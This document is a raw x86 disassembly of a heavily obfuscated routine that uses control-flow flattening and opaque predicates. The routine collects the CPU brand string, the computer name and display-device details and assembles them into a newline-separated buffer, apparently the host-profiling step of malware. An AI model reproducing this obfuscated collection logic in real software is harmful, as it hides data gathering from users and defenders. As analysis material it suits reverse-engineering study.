mov eax, 0x25ed8bdd
cmp ecx, 0x6b
jae 0x4431a7
mov eax, 0x6299c876
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 8]
mov ecx, 0xfffffedc
add eax, ecx
imul ecx, eax, 0x26f8
imul eax, eax
imul edx, eax, 0x2edf
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x4147df62
cmp edx, eax
je 0x4431d9
mov ecx, 0xc2fe1158
mov dword [esi], ecx
jmp 0x44066b
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0x37538745
jmp 0x44066b
mov eax, dword [esi + 0xa8]
mov ecx, dword [0x481595]
mov dword [eax + 4], ecx
mov ecx, dword [0x481591]
mov dword [eax], ecx
push 5
push 0x481599
push 8
push dword [esi + 0xa8]
call fcn.00445490
add esp, 0x10
mov dword [esi], 0xbddb934c
jmp 0x44066b
imul edi, dword [esi + 4], 0x96
shr edi, 2
mov dword [esi + 4], edi
push 0x53f2
push 0x1ea
push edi
call fcn.0042ceb7
add esp, 0xc
call fcn.00408ba5
mov eax, 0x25ed8bdd
cmp edi, 0x6e
je 0x443261
mov eax, 0x679d3030
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x188]
mov dword [eax], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x18c]
mov dword [eax + 4], ecx
mov eax, dword [esi + 0x10]
add eax, 8
mov dword [esi + 0x198], eax
mov dword [esi], 0xef1c28c
jmp 0x44066b
push dword [esi + 0x5c]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
mov dword [esi], 0xc0a7ca6d
jmp 0x44066b
mov ecx, dword [esi + 8]
imul eax, ecx, 0xc5
add eax, 0xffff27c3
imul eax, eax
imul edx, eax, 0x7cf5
dec edx
imul ecx, ecx, 0x3e9ee
add ecx, 0xfbb85ba2
mov dword [esi + 8], ecx
mov ecx, 0xe2605302
cmp eax, edx
je 0x4432e4
mov ecx, 0xa10ace44
mov dword [esi], ecx
jmp 0x44066b
mov eax, dword [esi + 0x178]
mov byte [eax], 0
mov edi, 0x14
push edi
push 0x4815a0
push dword [esi + 0xac]
call fcn.0044dac0
add esp, 0xc
push 6
push 0x4815b4
push edi
push dword [esi + 0xac]
call fcn.00445490
add esp, 0x10
mov dword [esi], 0xff67e51d
jmp 0x44066b
mov ecx, dword [esi + 8]
mov eax, 0xffffff67
add ecx, eax
shr ecx, 0xf
imul eax, ecx, 0x2b
imul eax, eax
imul edx, eax, 0x1b5d
dec edx
imul ecx, ecx, 0x18b1
add ecx, 0xffff750a
mov dword [esi + 8], ecx
mov ecx, 0xb9650f70
cmp eax, edx
je 0x443365
mov ecx, 0x88d85f77
mov dword [esi], ecx
jmp 0x44066b
mov eax, dword [esi + 0x190]
mov ecx, dword [esi + 0x198]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x194]
mov dword [eax + 0xc], ecx
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xc8], eax
mov dword [esi + 0xcc], ebx
mov dword [esi + 0xd0], ecx
mov dword [esi + 0xd4], edx
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x19c], eax
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1a0], eax
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x1a4], eax
mov dword [esi], 0xb37af821
jmp 0x44066b
mov eax, dword [esi + 0x98]
add eax, 0xd
mov dword [esi + 0x150], eax
mov dword [esi], 0x9d673473
jmp 0x44066b
push dword [esi + 0x14]
push dword [esi + 0x40]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x44]
mov dword [esi], 0xa2a4580b
jmp 0x44066b
mov eax, dword [esi + 8]
shr eax, 2
and eax, 0x1fffff
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x8749
dec edx
add eax, 0x193
mov dword [esi + 8], eax
mov eax, 0xa10ace44
cmp ecx, edx
je 0x44346f
mov eax, 0xc1cecfe1
mov dword [esi], eax
jmp 0x44066b
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x78], eax
mov dword [esi], 0x79dcd6a1
jmp 0x44066b
mov dword [esi], 0x9e9f1ead
jmp 0x44066b
xor eax, eax
push eax
push dword [esi + 0x1c]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x64]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
mov dword [esi], 0x59d26614
jmp 0x44066b
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov dword [esi + 0xf4], eax
mov ebx, dword [esi + 0xc]
sub esp, 0x10
mov edi, esp
xor eax, eax
mov byte [edi + 0xf], al
mov eax, 0xf
push eax
push 0x4814ac
push edi
call fcn.0044dac0
add esp, 0xc
push 6
push 0x4814bb
mov eax, 0xf
push eax
push edi
call fcn.00445490
add esp, 0x10
mov eax, dword [edi + 0xc]
mov edx, dword [esi + 0xf4]
mov dword [ebx + edx + 0xc], eax
mov eax, dword [edi + 8]
mov dword [ebx + edx + 8], eax
mov eax, dword [edi]
mov ecx, dword [edi + 4]
mov dword [ebx + edx + 4], ecx
mov dword [ebx + edx], eax
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x138], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x7c], eax
mov eax, dword [esi + 0x7c]
xor ecx, ecx
mov byte [eax + 0xb], cl
mov dword [esi], 0xf4593bdd
jmp 0x44066b
mov eax, dword [esi + 8]
shr eax, 0x14
imul ecx, eax, 0x86
imul eax, eax
imul edx, eax, 0x5653
add ecx, 0xffffbd86
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x3ed8f8cf
cmp edx, eax
je 0x443585
mov ecx, 0x82f9eba8
mov dword [esi], ecx
jmp 0x44066b
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x90], eax
mov dword [esi], 0xcb2d4c25
jmp 0x44066b
mov eax, dword [esi + 0x1a0]
mov ecx, dword [esi + 0x1ac]
mov dword [ecx], eax
mov dword [esi], 0x95cdd8ea
jmp 0x44066b
mov eax, dword [esi + 8]
add eax, 0xffffffcc
shr eax, 6
lea ecx, [eax + eax*8]
lea ecx, [eax + ecx*2]
add ecx, 0xfffffeaa
mov edx, eax
imul edx, eax
imul edi, edx, 0xc5d
dec edi
mov dword [esi + 8], ecx
mov eax, 0x73c1c3f2
cmp edi, edx
je 0x4435ee
mov eax, 0x4dcbe325
mov dword [esi], eax
jmp 0x44066b
imul edi, dword [esi + 4], 0x2f8000
mov ebx, 0x91b2dfcd
add edi, 0xc02c0000
mov dword [esi + 4], edi
je 0x443611
mov ebx, 0x5ead8a11
push 0x338b
push edi
push 0x4a70
push 0x5493
call fcn.00445490
add esp, 0x10
push edi
call fcn.00440654
add esp, 4
mov dword [esi], ebx
jmp 0x44066b
imul eax, dword [esi + 8], 0xc9
add eax, 0xb6d6
mov ecx, eax
imul ecx, eax
shr eax, 0x11
imul edx, ecx, 0x41a1
dec edx
mov dword [esi + 8], eax
mov eax, 0x5f687d33
cmp edx, ecx
je 0x443665
mov eax, 0x37b3dab2
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 4]
shl eax, 0xa
mov edi, 0xed0da876
add eax, 0xd400
mov dword [esi + 4], eax
je 0x443686
mov edi, 0xbdd9fdec
push 0x533f
push 0x17ac
push 0x557f
push eax
call fcn.00445490
add esp, 0x10
mov dword [esi], edi
jmp 0x44066b
mov ecx, dword [esi + 4]
add ecx, 0xffffffe1
mov eax, ecx
shr eax, 0xa
and eax, 0x3fe000
lea eax, [eax + eax*2]
mov dword [esi + 4], eax
mov eax, 0x469974e6
cmp ecx, 0x800000
jb 0x4436cd
mov eax, 0x79848f3b
mov dword [esi], eax
jmp 0x44066b
mov edi, dword [esi + 4]
shr edi, 0xd
and edi, 0x3ffff
mov dword [esi + 4], edi
call fcn.00408ba5
call fcn.00408ba5
mov eax, 0x5b668583
cmp edi, 0xa7
jb 0x4436ff
mov eax, 0xe2605302
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 8]
shr eax, 3
imul eax, eax, 0x87
add eax, 0xca8
mov ecx, eax
imul ecx, eax
shr eax, 0xd
imul edx, ecx, 0x99
dec edx
add eax, 0x25
shr eax, 0xf
mov dword [esi + 8], eax
mov eax, 0x8ce88bb7
cmp ecx, edx
je 0x44373d
mov eax, 0x5ead8a11
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 0x8c]
add eax, 0x18
mov dword [esi + 0x144], eax
mov dword [esi], 0xb5a096ce
jmp 0x44066b
push dword [esi + 0x14]
push dword [esi + 0x48]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi], 0xd2959f27
jmp 0x44066b
push 4
push 0x481567
push 0x17
push dword [esi + 0xa0]
call fcn.00445490
add esp, 0x10
push 0x18
push dword [esi + 0xa0]
push dword [esi + 0x4c]
call fcn.0044dac0
add esp, 0xc
push dword [esi + 0x4c]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0x48]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x158], eax
mov dword [esi], 0x547269cd
jmp 0x44066b
mov eax, dword [esi + 0x144]
mov word [eax], 0
push 0x18
push 0x474ff0
push dword [esi + 0x8c]
call fcn.0044dac0
add esp, 0xc
push 4
push 0x475008
push 0xc
push dword [esi + 0x8c]
call fcn.00445350
add esp, 0x10
push dword [esi + 0x8c]
push 0x23fef64a
call fcn.00448b18
add esp, 8
mov dword [esi + 0x148], eax
mov dword [esi], 0x578adb76
jmp 0x44066b
mov eax, dword [esi + 0x80]
mov byte [eax + 2], 0
mov dword [esi], 0x5a2b3fc9
jmp 0x44066b
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x9c]
mov byte [eax + 0x1b], 0
mov edi, 0x1b
push edi
push 0x481530
push dword [esi + 0x9c]
call fcn.0044dac0
add esp, 0xc
push 5
push 0x48154b
push edi
push dword [esi + 0x9c]
call fcn.00445490
add esp, 0x10
mov dword [esi], 0x95d3505f
jmp 0x44066b
mov eax, dword [esi + 4]
shr eax, 3
and eax, 0xffffff80
imul ecx, eax, 0xd6
add ecx, 0xc685
mov dword [esi + 4], ecx
mov eax, 0xc74ee642
cmp ecx, 0xf3
jge 0x4438c6
mov eax, 0x50649b06
mov dword [esi], eax
jmp 0x44066b
mov edi, dword [esi + 4]
shr edi, 1
and edi, 0x7fffc000
lea ebx, [edi - 0xc000]
mov dword [esi + 4], ebx
call fcn.00408ba5
push ebx
call fcn.00444a76
add esp, 4
mov eax, 0xd90fc93a
cmp edi, 0xc0ed
jae 0x443901
mov eax, 0x4147df62
mov dword [esi], eax
jmp 0x44066b
push 0x15
push dword [esi + 0xac]
push dword [esi + 0x58]
call fcn.0044dac0
add esp, 0xc
push dword [esi + 0x58]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xf8]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
mov dword [esi], 0xa3760a82
jmp 0x44066b
push 0x18
push 0x475010
push dword [esi + 0xb0]
call fcn.0044dac0
add esp, 0xc
push 6
push 0x475028
push 0xc
push dword [esi + 0xb0]
call fcn.00445350
add esp, 0x10
push dword [esi + 0xb0]
push 0x2f9959e0
call fcn.00448b18
add esp, 8
mov dword [esi + 0x184], eax
mov dword [esi], 0x4c75140d
jmp 0x44066b
mov eax, dword [esi + 4]
shr eax, 4
imul edi, eax, 0x63
mov eax, edi
shr eax, 2
mov dword [esi + 4], eax
push 0x5b29
push 0x1e9e
push 0x35bd
push eax
call fcn.00445350
add esp, 0x10
mov eax, 0xf4563577
cmp edi, 0x130
jae 0x4439d0
mov eax, 0xc21f4a11
mov dword [esi], eax
jmp 0x44066b
imul ecx, dword [esi + 8], 0xe3
add ecx, 0xfffff9cb
mov eax, ecx
shr eax, 6
shr ecx, 0xf
imul eax, eax
imul edx, eax, 0x61a5
dec edx
imul ecx, ecx, 0xf0a
add ecx, 0x5208
mov dword [esi + 8], ecx
mov ecx, 0xe544d742
cmp edx, eax
je 0x443a13
mov ecx, 0xe9975444
mov dword [esi], ecx
jmp 0x44066b
imul eax, dword [esi + 8], 0x12600000
add eax, 0x7a600000
shr eax, 3
or eax, 0x19
mov dword [esi + 8], eax
mov dword [esi], 0x2840e0fc
jmp 0x44066b
mov dword [esi], 0x82edeb32
jmp 0x44066b
mov dword [esi], 0x7e0ab08c
jmp 0x44066b
push dword [esi + 0x170]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x174], eax
mov dword [esi], 0xca312a6
jmp 0x44066b
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov dword [esi + 0x18c], eax
mov dword [esi], 0xa6bac59b
jmp 0x44066b
imul eax, dword [esi + 4], 0x14e000
add eax, 0xeb34e000
mov dword [esi + 4], eax
push 0x44cc
push eax
push 0x1afb
push 0x7bc
call fcn.00445490
add esp, 0x10
mov dword [esi], 0xcbc2eb54
jmp 0x44066b
imul edi, dword [esi + 4], 0x20800
add edi, 0xfffa1c00
mov ebx, edi
shr ebx, 8
mov dword [esi + 4], ebx
push ebx
push 0x2e8b
push 0x5a0a
push 0x5f3
call fcn.00445490
add esp, 0x10
push 0x6215
push 0x1cb9
push ebx
push 0x1f
call fcn.00445490
add esp, 0x10
mov eax, 0xed0da876
cmp edi, 0x3400
jb 0x443b2f
mov eax, 0x37b3dab2
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 8]
mov ecx, 0x9d
add eax, ecx
and eax, 0x7ffffff
mov dword [esi + 8], eax
mov dword [esi], 0xe544d742
jmp 0x44066b
mov ecx, dword [esi + 8]
add ecx, 0x15
mov eax, ecx
imul eax, ecx
imul edx, eax, 0xd7
dec edx
shr ecx, 0xc
and ecx, 0xfe000
lea ecx, [ecx + ecx*4]
mov dword [esi + 8], ecx
mov ecx, 0xaf47789a
cmp edx, eax
je 0x443b82
mov ecx, 0x231b4d6
mov dword [esi], ecx
jmp 0x44066b
mov ecx, dword [esi + 4]
mov eax, ecx
shr eax, 8
add eax, 0x92
shr eax, 0x10
mov dword [esi + 4], eax
mov eax, 0x2d64ae0
cmp ecx, 0xa5ff6e00
jae 0x443bae
mov eax, 0xc5f299bf
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x18]
mov dword [esi], 0xbf3ab78d
jmp 0x44066b
mov eax, dword [esi + 8]
shr eax, 0xc
and eax, 0x7ffff
lea ecx, [eax + eax*2]
lea eax, [eax + ecx*4]
mov dword [esi + 8], eax
mov dword [esi], 0xd7a671c
jmp 0x44066b
imul edi, dword [esi + 4], 0x76
add edi, 0xffffff30
mov dword [esi + 4], edi
push edi
push 0x57cd
push 0x1ea9
push 0x5b15
call fcn.00445350
add esp, 0x10
push edi
push 0x4fcc
push 0x27b2
call fcn.0042ceb7
add esp, 0xc
mov eax, 0x79c5bcd5
cmp edi, 0x43
jb 0x443c2c
mov eax, 0xf95480d7
mov dword [esi], eax
jmp 0x44066b
imul ecx, dword [esi + 4], 0xd0000
mov dword [esi + 4], ecx
mov eax, 0xb6e7b0da
cmp ecx, 0x31
jl 0x443c4c
mov eax, 0x39fbe18f
mov dword [esi], eax
jmp 0x44066b
mov ecx, dword [esi + 8]
lea eax, [ecx + 0xb9]
add ecx, 0xab
imul eax, eax
imul edx, eax, 0x6039
shr ecx, 0xd
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x519910a8
cmp edx, eax
je 0x443c80
mov ecx, 0x6023b85b
mov dword [esi], ecx
jmp 0x44066b
mov eax, dword [esi + 0x48]
mov dword [esi], 0x73bde01b
jmp 0x44066b
mov eax, dword [esi + 4]
shl eax, 0xf
or eax, 0x60
imul edi, eax, 0xe2d8
add edi, 0xffffff3e
mov dword [esi + 4], edi
push 0x2729
push 0x3ae9
push 0x1252
push edi
call fcn.00445350
add esp, 0x10
push 0x67b
push 0x559a
push edi
push 0x5db9
call fcn.00445490
add esp, 0x10
mov dword [esi], 0x742e0221
jmp 0x44066b
mov eax, dword [esi + 0x1c0]
mov word [eax], 0xa
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x1c]
add eax, 4
push 0x1a4
push 0
push eax
call fcn.0044e5c0
add esp, 0xc
mov eax, dword [esi + 0x1c]
mov dword [eax], 0x1a8
mov dword [esi], 0x5d54c426
jmp 0x44066b
imul eax, dword [esi + 8], 0xc1
shr eax, 0xb
imul ecx, eax, 0x1ac00
imul eax, eax
imul edx, eax, 0x344f
dec edx
add ecx, 0xffffffd8
mov dword [esi + 8], ecx
mov ecx, 0x8ba168fd
cmp edx, eax
je 0x443d4e
mov ecx, 0x577d64e4
mov dword [esi], ecx
jmp 0x44066b
imul edi, dword [esi + 4], 0x4d80
add edi, 0xadae
mov eax, edi
shr eax, 0xe
mov dword [esi + 4], eax
push eax
call fcn.00444a76
add esp, 4
mov eax, 0x5a2b3fc9
cmp edi, 0x200000
jae 0x443d85
mov eax, 0x7399185f
mov dword [esi], eax
jmp 0x44066b
push eax
mov eax, esp
mov dword [esi + 0x14], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x34], eax
mov dword [esi], 0xc5f299bf
jmp 0x44066b
mov eax, dword [esi + 4]
mov ecx, 0xfffff800
and eax, ecx
lea eax, [eax*4 + 0x62]
mov dword [esi + 4], eax
mov dword [esi], 0x8a159cd1
jmp 0x44066b
push 0x1c
push dword [esi + 0x9c]
push dword [esi + 0x44]
call fcn.0044dac0
add esp, 0xc
push dword [esi + 0x44]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0x40]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0xc8d4dac3
jmp 0x44066b
mov edi, dword [esi + 4]
add edi, 0x4c
mov dword [esi + 4], edi
push edi
call fcn.00444a76
add esp, 4
push edi
call fcn.00444a76
add esp, 4
mov eax, 0x24ebbde0
cmp edi, 0xb0
je 0x443e3f
mov eax, 0xd5b39c82
mov dword [esi], eax
jmp 0x44066b
push 1
push 0x41
call fcn.0045d963
add esp, 8
mov dword [esi + 0x10], eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xb8], eax
mov dword [esi + 0xbc], ebx
mov dword [esi + 0xc0], ecx
mov dword [esi + 0xc4], edx
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xb8]
mov dword [esi + 0x188], eax
mov dword [esi], 0x3fa03bfc
jmp 0x44066b
mov edi, dword [esi + 4]
shr edi, 6
and edi, 0xfff
add edi, 0x8e
mov dword [esi + 4], edi
push edi
call fcn.00440654
add esp, 4
push edi
call fcn.00444a76
add esp, 4
mov dword [esi], 0x4dece08a
jmp 0x44066b
mov eax, dword [esi + 0x13c]
mov ecx, dword [esi + 0x80]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
push 1
mov edi, 0x8000
push edi
call fcn.0045d963
add esp, 8
mov dword [esi + 0x100], eax
mov dword [esi + 0x124], edi
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x84]
mov word [eax + 0x18], 0
mov dword [esi], 0x79c5bcd5
jmp 0x44066b
imul ecx, dword [esi + 4], 0x15a0000
add ecx, 0xa798000
mov dword [esi + 4], ecx
mov eax, 0x66177548
cmp ecx, 0x41
jge 0x443f46
mov eax, 0xf1504ec3
mov dword [esi], eax
jmp 0x44066b
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x44], eax
mov dword [esi], 0xd339d5fe
jmp 0x44066b
push 4
push 0x4814f0
push 6
push dword [esi + 0x88]
call fcn.00445490
add esp, 0x10
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x88]
mov edx, dword [ecx]
mov ecx, dword [ecx + 3]
mov dword [eax + 3], ecx
mov dword [eax], edx
push dword [esi + 0x24]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0x100]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
push 1
push 0x8000
call fcn.0045d963
add esp, 8
mov dword [esi + 0x104], eax
mov eax, dword [esi + 0x28]
mov dword [esi], 0xc74ee642
jmp 0x44066b
mov eax, dword [esi + 8]
add eax, 0x17
imul ecx, eax, 0x6b
imul eax, eax
imul edx, eax, 0x6d1d
dec edx
add ecx, 0x3b
mov dword [esi + 8], ecx
mov ecx, 0x84e89f42
cmp eax, edx
je 0x444008
mov ecx, 0xa2f2666c
mov dword [esi], ecx
jmp 0x44066b
mov eax, dword [esi + 8]
shl eax, 9
add eax, 0x1e200
shr eax, 0xc
add eax, 0xffffff14
mov dword [esi + 8], eax
mov dword [esi], 0xa0be244
jmp 0x44066b
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0xa8]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0x876f42a3
jmp 0x44066b
imul eax, dword [esi + 8], 0x5a
add eax, 0xffffff59
shr eax, 5
imul ecx, eax, 0xd0
imul eax, eax
imul edx, eax, 0x176f
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x9e79e561
cmp edx, eax
je 0x444081
mov ecx, 0xc4aa367c
mov dword [esi], ecx
jmp 0x44066b
push dword [esi + 0x1d4]
push dword [esi + 0xc]
push dword [esi + 0x70]
push dword [ebp + 8]
call fcn.00426b63
add esp, 0x10
mov dword [esi], 0xedc0f362
jmp 0x44066b
mov eax, dword [esi + 0x30]
mov dword [esi], 0xf2c135a5
jmp 0x44066b
imul eax, dword [esi + 8], 0xf1
add eax, 0xffff20e3
mov ecx, eax
shl ecx, 0xc
imul eax, eax
imul edx, eax, 0x7859
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x6403a008
cmp eax, edx
je 0x4440e4
mov ecx, 0x7399185f
mov dword [esi], ecx
jmp 0x44066b
mov ecx, dword [esi + 4]
shl ecx, 6
add ecx, 0xfffffee9
mov dword [esi + 4], ecx
mov eax, 0x52c0094f
cmp ecx, 0xf6
jl 0x44410c
mov eax, 0x9d967b79
mov dword [esi], eax
jmp 0x44066b
imul eax, dword [esi + 4], 0x27
shr eax, 5
imul edi, eax, 0x2c
add edi, 0xffffff7c
mov dword [esi + 4], edi
push 0x451b
push 0x5900
push edi
call fcn.0042ceb7
add esp, 0xc
mov eax, 0x34436423
cmp edi, 0x1d
jl 0x444148
mov eax, 0xe544d742
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 0x68]
mov eax, dword [esi + 0x20]
mov dword [esi], 0x507da226
jmp 0x44066b
mov eax, dword [esi + 8]
shl eax, 0xf
add eax, 0xfffffe40
mov dword [esi + 8], eax
mov dword [esi], 0x181b1a3b
jmp 0x44066b
mov eax, dword [esi + 4]
lea edi, [eax*4 + 0x12c]
and edi, 0xfffffff0
add edi, 0xffffff07
mov dword [esi + 4], edi
push edi
call fcn.00444a76
add esp, 4
mov eax, 0x367e9265
cmp edi, 0x73
jl 0x4441a7
mov eax, 0x89c20c5a
mov dword [esi], eax
jmp 0x44066b
mov dword [esi], 0xd39e5d44
jmp 0x44066b
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xa0], eax
mov eax, dword [esi + 0xa0]
mov byte [eax + 0x17], 0
push 0x17
push 0x481550
push dword [esi + 0xa0]
call fcn.0044dac0
add esp, 0xc
mov dword [esi], 0x862db538
jmp 0x44066b
mov dword [esi], 0xcc9eb19b
jmp 0x44066b
mov ecx, dword [esi + 8]
mov eax, ecx
shr eax, 2
shr ecx, 0x10
imul eax, eax
imul edx, eax, 0xa71
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x9ef395ad
cmp eax, edx
je 0x444220
mov ecx, 0x446e549
mov dword [esi], ecx
jmp 0x44066b
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x54]
mov dword [esi], 0x5286ace7
jmp 0x44066b
mov eax, dword [esi + 0x174]
mov word [eax], 0xa
mov eax, dword [esi + 0x58]
mov dword [esi], 0xe1c66a6c
jmp 0x44066b
mov ecx, dword [esi + 8]
mov eax, ecx
shl eax, 5
sub eax, ecx
mov ecx, eax
shr ecx, 0xf
imul eax, eax
imul ecx, ecx, 0xe5
imul edx, eax, 0x1e49
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x52c0094f
cmp edx, eax
je 0x444292
mov ecx, 0xa140a1ab
mov dword [esi], ecx
jmp 0x44066b
imul edi, dword [esi + 4], 0x5b0
shr edi, 6
mov dword [esi + 4], edi
push edi
call fcn.00440654
add esp, 4
mov eax, 0x79916b11
cmp edi, 0x74
je 0x4442be
mov eax, 0x742e0221
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 8]
imul ecx, eax, 0x3b
imul ecx, ecx
imul edx, ecx, 0x8625
dec edx
imul eax, eax, 0x170c0
mov dword [esi + 8], eax
mov eax, 0x5870b9f8
cmp edx, ecx
je 0x4442ec
mov eax, 0x7e3d8bd7
mov dword [esi], eax
jmp 0x44066b
imul edi, dword [esi + 4], 0xab80
mov dword [esi + 4], edi
push edi
push 0x3a5
push 0x605d
call fcn.0042ceb7
add esp, 0xc
call fcn.00408ba5
mov eax, 0xd90fc93a
test edi, edi
je 0x444323
mov eax, 0x25ed8bdd
mov dword [esi], eax
jmp 0x44066b
push 1
push 0xa
call fcn.0045d963
add esp, 8
mov dword [esi + 0x114], eax
mov dword [esi], 0x2edb9700
jmp 0x44066b
mov eax, dword [esi + 4]
shr eax, 0xb
add eax, 0x15e
mov dword [esi + 4], eax
push eax
push 0x3d84
push 0x538d
push 0x4b0e
call fcn.00445350
add esp, 0x10
mov dword [esi], 0x79c5bcd5
jmp 0x44066b
mov eax, dword [esi + 0x40]
mov dword [esi], 0x359e8812
jmp 0x44066b
mov eax, dword [esi + 8]
add eax, 0xffffffe3
mov ecx, eax
shr ecx, 2
imul eax, eax
imul edx, eax, 0x6829
dec edx
imul ecx, ecx, 0x3d74
add ecx, 0x4c30
mov dword [esi + 8], ecx
mov ecx, 0x39fbe18f
cmp eax, edx
je 0x4443b8
mov ecx, 0x1f096957
mov dword [esi], ecx
jmp 0x44066b
mov dword [esi], 0xb296c61
jmp 0x44066b
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x18], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x60], eax
mov dword [esi], 0xbdd9fdec
jmp 0x44066b
mov edi, dword [esi + 4]
shr edi, 0xd
add edi, 0xffffffee
mov dword [esi + 4], edi
push 0x150f
push edi
push 0x227d
call fcn.0042ceb7
add esp, 0xc
push edi
push 0x1065
push 0x4311
call fcn.0042ceb7
add esp, 0xc
mov eax, 0x2fc64b54
cmp edi, 0xba
jb 0x44445d
mov eax, 0xce740087
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 0xb4]
mov ecx, dword [0x4815c2]
mov dword [eax + 8], ecx
mov ecx, dword [0x4815be]
mov dword [eax + 4], ecx
mov ecx, dword [0x4815ba]
mov dword [eax], ecx
push 8
push 0x4815c6
push 0xc
push dword [esi + 0xb4]
call fcn.00445490
add esp, 0x10
mov dword [esi], 0x4b427871
jmp 0x44066b
imul edi, dword [esi + 4], 0x668000
add edi, 0xfffff5a0
mov dword [esi + 4], edi
push edi
call fcn.00440654
add esp, 4
mov eax, 0xb38b5094
cmp edi, 0xe1
jge 0x4444d1
mov eax, 0x15477e10
mov dword [esi], eax
jmp 0x44066b
mov dword [esi], 0x3c2d1d02
jmp 0x44066b
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x94], eax
mov eax, dword [esi + 0x94]
mov byte [eax + 0xa], 0
mov eax, dword [esi + 0x94]
movzx ecx, word [0x481508]
mov word [eax + 8], cx
mov ecx, dword [0x481504]
mov dword [eax + 4], ecx
mov ecx, dword [0x481500]
mov dword [eax], ecx
push 7
push 0x48150a
push 0xa
push dword [esi + 0x94]
call fcn.00445490
add esp, 0x10
